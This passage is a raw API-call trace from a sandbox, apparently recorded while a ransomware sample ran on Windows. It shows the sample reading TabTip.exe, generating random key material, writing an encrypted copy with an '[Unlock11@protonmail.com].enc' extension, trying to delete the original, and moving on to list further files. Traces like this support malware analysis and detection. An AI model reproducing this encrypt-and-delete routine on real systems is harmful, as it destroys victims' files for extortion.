HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0121.784] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe", lpFilePart=0x9bada4*="TabTip.exe") returned 0x3d [0121.784] GetCurrentThreadId () returned 0x9b0 [0121.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0121.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0121.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0121.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0121.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2f0 [0121.785] GetCurrentThreadId () returned 0x9b0 [0121.785] GetCurrentThreadId () returned 0x9b0 [0121.785] GetCurrentThreadId () returned 0x9b0 [0121.785] GetCurrentThreadId () returned 0x9b0 [0121.785] GetCurrentThreadId () returned 0x9b0 [0121.785] GetCurrentThreadId () returned 0x9b0 [0121.785] GetCurrentThreadId () returned 0x9b0 [0121.785] GetCurrentThreadId () returned 0x9b0 [0121.786] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5f780)) returned 1 [0121.786] GetCurrentThreadId () returned 0x9b0 [0121.786] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a73c | out: pbBuffer=0x366a73c) returned 1 [0121.786] GetCurrentThreadId () returned 0x9b0 [0121.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0121.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0121.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0121.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea110 [0121.786] GetCurrentThreadId () returned 0x9b0 [0121.787] GetCurrentThreadId () returned 0x9b0 [0121.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea110 | out: hHeap=0x2ad0000) returned 1 [0121.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea048 [0121.787] GetCurrentThreadId () returned 0x9b0 [0121.787] GetCurrentThreadId () returned 0x9b0 [0121.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de508 [0121.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a51d8 | out: hHeap=0x2ad0000) returned 1 [0121.787] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.787] GetFileType (hFile=0x39c) returned 0x1 [0121.788] GetCurrentThreadId () returned 0x9b0 [0121.788] GetFileType (hFile=0x39c) returned 0x1 [0121.788] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.788] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.788] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.788] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.788] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.789] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.789] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.789] GetLastError () returned 0x0 [0121.789] GetCurrentThreadId () returned 0x9b0 [0121.789] GetLastError () returned 0x0 [0121.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0121.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0121.789] GetLastError () returned 0x0 [0121.789] GetLastError () returned 0x0 [0121.790] GetLastError () returned 0x0 [0121.790] GetLastError () returned 0x0 [0121.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0121.790] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba80 [0121.790] GetLastError () returned 0x0 [0121.790] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.791] GetFileType (hFile=0x3ac) returned 0x1 [0121.791] GetLastError () returned 0x0 [0121.791] GetCurrentThreadId () returned 0x9b0 [0121.791] GetLastError () returned 0x0 [0121.791] GetFileType (hFile=0x3ac) returned 0x1 [0121.791] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.791] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.792] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.792] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.792] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.792] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.792] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.792] GetLastError () returned 0x0 [0121.792] GetCurrentThreadId () returned 0x9b0 [0121.792] GetLastError () returned 0x0 [0121.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0121.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0121.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0121.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0121.793] GetLastError () returned 0x0 [0121.793] GetLastError () returned 0x0 [0121.793] GetCurrentThreadId () returned 0x9b0 [0121.793] GetLastError () returned 0x0 [0121.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.793] GetLastError () returned 0x0 [0121.793] GetLastError () returned 0x0 [0121.793] GetCurrentThreadId () returned 0x9b0 [0121.793] GetLastError () returned 0x0 [0121.793] GetLastError () returned 0x0 [0121.795] GetLastError () returned 0x0 [0121.795] GetCurrentThreadId () returned 0x9b0 [0121.795] GetLastError () returned 0x0 [0121.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.796] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.796] GetCurrentThreadId () returned 0x9b0 [0121.796] GetLastError () returned 0x0 [0121.797] GetLastError () returned 0x0 [0121.797] GetLastError () returned 0x0 [0121.797] GetLastError () returned 0x0 [0121.797] GetCurrentThreadId () returned 0x9b0 [0121.797] GetLastError () returned 0x0 [0121.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.797] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0121.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0121.797] GetLastError () returned 0x0 [0121.799] GetLastError () returned 0x0 [0121.799] GetCurrentThreadId () returned 0x9b0 [0121.800] GetLastError () returned 0x0 [0121.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.800] GetLastError () returned 0x0 [0121.801] GetLastError () returned 0x0 [0121.801] GetCurrentThreadId () returned 0x9b0 [0121.801] GetLastError () returned 0x0 [0121.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0121.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0121.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.801] GetCurrentThreadId () returned 0x9b0 [0121.802] GetLastError () returned 0x0 [0121.802] GetLastError () returned 0x0 [0121.802] GetLastError () returned 0x0 [0121.802] GetLastError () returned 0x0 [0121.802] GetCurrentThreadId () returned 0x9b0 [0121.802] GetLastError () returned 0x0 [0121.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0121.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.803] GetLastError () returned 0x0 [0121.804] GetLastError () returned 0x0 [0121.805] GetCurrentThreadId () returned 0x9b0 [0121.805] GetLastError () returned 0x0 [0121.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.805] GetLastError () returned 0x0 [0121.805] GetLastError () returned 0x0 [0121.806] GetCurrentThreadId () returned 0x9b0 [0121.806] GetLastError () returned 0x0 [0121.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba80 [0121.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.807] GetLastError () returned 0x0 [0121.808] GetLastError () returned 0x0 [0121.808] GetLastError () returned 0x0 [0121.808] GetLastError () returned 0x0 [0121.808] GetCurrentThreadId () returned 0x9b0 [0121.808] GetLastError () returned 0x0 [0121.808] GetCurrentThreadId () returned 0x9b0 [0121.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x370eb48 [0121.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0121.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0121.809] GetLastError () returned 0x0 [0121.810] GetLastError () returned 0x0 [0121.810] GetCurrentThreadId () returned 0x9b0 [0121.810] GetLastError () returned 0x0 [0121.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.810] GetLastError () returned 0x0 [0121.811] GetLastError () returned 0x0 [0121.811] GetCurrentThreadId () returned 0x9b0 [0121.811] GetLastError () returned 0x0 [0121.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0121.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0121.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.812] GetLastError () returned 0x0 [0121.812] GetLastError () returned 0x0 [0121.812] GetLastError () returned 0x0 [0121.812] GetLastError () returned 0x0 [0121.812] GetCurrentThreadId () returned 0x9b0 [0121.812] GetLastError () returned 0x0 [0121.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0121.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0121.813] GetLastError () returned 0x0 [0121.814] GetLastError () returned 0x0 [0121.814] GetCurrentThreadId () returned 0x9b0 [0121.814] GetLastError () returned 0x0 [0121.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.814] GetCurrentThreadId () returned 0x9b0 [0121.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.814] GetLastError () returned 0x0 [0121.815] GetLastError () returned 0x0 [0121.815] GetCurrentThreadId () returned 0x9b0 [0121.815] GetLastError () returned 0x0 [0121.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba80 [0121.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.815] GetLastError () returned 0x0 [0121.816] GetLastError () returned 0x0 [0121.816] GetLastError () returned 0x0 [0121.816] GetLastError () returned 0x0 [0121.816] GetCurrentThreadId () returned 0x9b0 [0121.816] GetLastError () returned 0x0 [0121.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0121.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.816] GetLastError () returned 0x0 [0121.818] GetLastError () returned 0x0 [0121.818] GetCurrentThreadId () returned 0x9b0 [0121.818] GetLastError () returned 0x0 [0121.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.819] GetLastError () returned 0x0 [0121.819] GetLastError () returned 0x0 [0121.819] GetCurrentThreadId () returned 0x9b0 [0121.819] GetLastError () returned 0x0 [0121.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.819] GetCurrentThreadId () returned 0x9b0 [0121.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0121.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0121.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xf798) returned 0x36f8548 [0121.820] GetLastError () returned 0x0 [0121.820] GetLastError () returned 0x0 [0121.820] GetLastError () returned 0x0 [0121.821] GetLastError () returned 0x0 [0121.821] GetCurrentThreadId () returned 0x9b0 [0121.821] GetLastError () returned 0x0 [0121.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.821] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0121.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.821] GetLastError () returned 0x0 [0121.822] GetLastError () returned 0x0 [0121.822] GetCurrentThreadId () returned 0x9b0 [0121.822] GetLastError () returned 0x0 [0121.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.823] GetLastError () returned 0x0 [0121.823] GetLastError () returned 0x0 [0121.823] GetCurrentThreadId () returned 0x9b0 [0121.823] GetLastError () returned 0x0 [0121.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.823] GetLastError () returned 0x0 [0121.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.824] CloseHandle (hObject=0x3ac) returned 1 [0121.824] GetLastError () returned 0x0 [0121.824] GetCurrentThreadId () returned 0x9b0 [0121.824] GetLastError () returned 0x0 [0121.824] GetLastError () returned 0x0 [0121.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0121.824] CloseHandle (hObject=0x39c) returned 1 [0121.824] GetLastError () returned 0x0 [0121.825] GetCurrentThreadId () returned 0x9b0 [0121.825] GetLastError () returned 0x0 [0121.825] GetCurrentThreadId () returned 0x9b0 [0121.825] GetLastError () returned 0x0 [0121.825] GetLastError () returned 0x0 [0121.825] GetLastError () returned 0x0 [0121.825] GetLastError () returned 0x0 [0121.825] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0 [0121.825] GetLastError () returned 0x5 [0121.826] GetCurrentThreadId () returned 0x9b0 [0121.826] GetLastError () returned 0x5 [0121.826] GetLastError () returned 0x5 [0121.826] GetLastError () returned 0x5 [0121.826] GetLastError () returned 0x5 [0121.826] LocalFree (hMem=0x1053b50) returned 0x0 [0121.826] GetLastError () returned 0x5 [0121.826] GetLastError () returned 0x5 [0121.826] GetLastError () returned 0x5 [0121.826] GetLastError () returned 0x5 [0121.826] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll", lpFilePart=0x9bada4*="TipRes.dll") returned 0x3d [0121.827] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0121.827] GetCurrentThreadId () returned 0x9b0 [0121.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0121.827] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0121.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0121.827] GetLastError () returned 0x5 [0121.827] GetLastError () returned 0x5 [0121.827] GetLastError () returned 0x5 [0121.827] GetLastError () returned 0x5 [0121.827] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll", lpFilePart=0x9bada4*="tipresx.dll") returned 0x3e [0121.827] GetCurrentThreadId () returned 0x9b0 [0121.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0121.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0121.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0121.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0121.828] GetCurrentThreadId () returned 0x9b0 [0121.828] GetLastError () returned 0x5 [0121.828] GetLastError () returned 0x5 [0121.828] GetLastError () returned 0x5 [0121.828] GetLastError () returned 0x5 [0121.828] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll", lpFilePart=0x9bada4*="tipskins.dll") returned 0x3f [0121.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0121.829] GetCurrentThreadId () returned 0x9b0 [0121.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0121.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0121.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0121.829] GetLastError () returned 0x5 [0121.829] GetLastError () returned 0x5 [0121.829] GetLastError () returned 0x5 [0121.829] GetLastError () returned 0x5 [0121.829] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll", lpFilePart=0x9bada4*="tiptsf.dll") returned 0x3d [0121.829] GetCurrentThreadId () returned 0x9b0 [0121.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0121.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0121.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0121.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0121.830] GetCurrentThreadId () returned 0x9b0 [0121.830] GetLastError () returned 0x5 [0121.830] GetLastError () returned 0x5 [0121.830] GetLastError () returned 0x5 [0121.830] GetLastError () returned 0x5 [0121.830] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll", lpFilePart=0x9bada4*="tpcps.dll") returned 0x3c [0121.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0121.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0121.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0121.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0121.831] GetCurrentThreadId () returned 0x9b0 [0121.831] GetLastError () returned 0x5 [0121.831] GetLastError () returned 0x5 [0121.831] GetLastError () returned 0x5 [0121.831] GetLastError () returned 0x5 [0121.831] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0121.831] GetLastError () returned 0x5 [0121.831] GetCurrentThreadId () returned 0x9b0 [0121.831] GetLastError () returned 0x5 [0121.831] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0121.832] GetLastError () returned 0x5 [0121.832] GetCurrentThreadId () returned 0x9b0 [0121.832] GetLastError () returned 0x5 [0121.832] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0121.832] GetLastError () returned 0x5 [0121.832] GetCurrentThreadId () returned 0x9b0 [0121.832] GetLastError () returned 0x5 [0121.832] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, 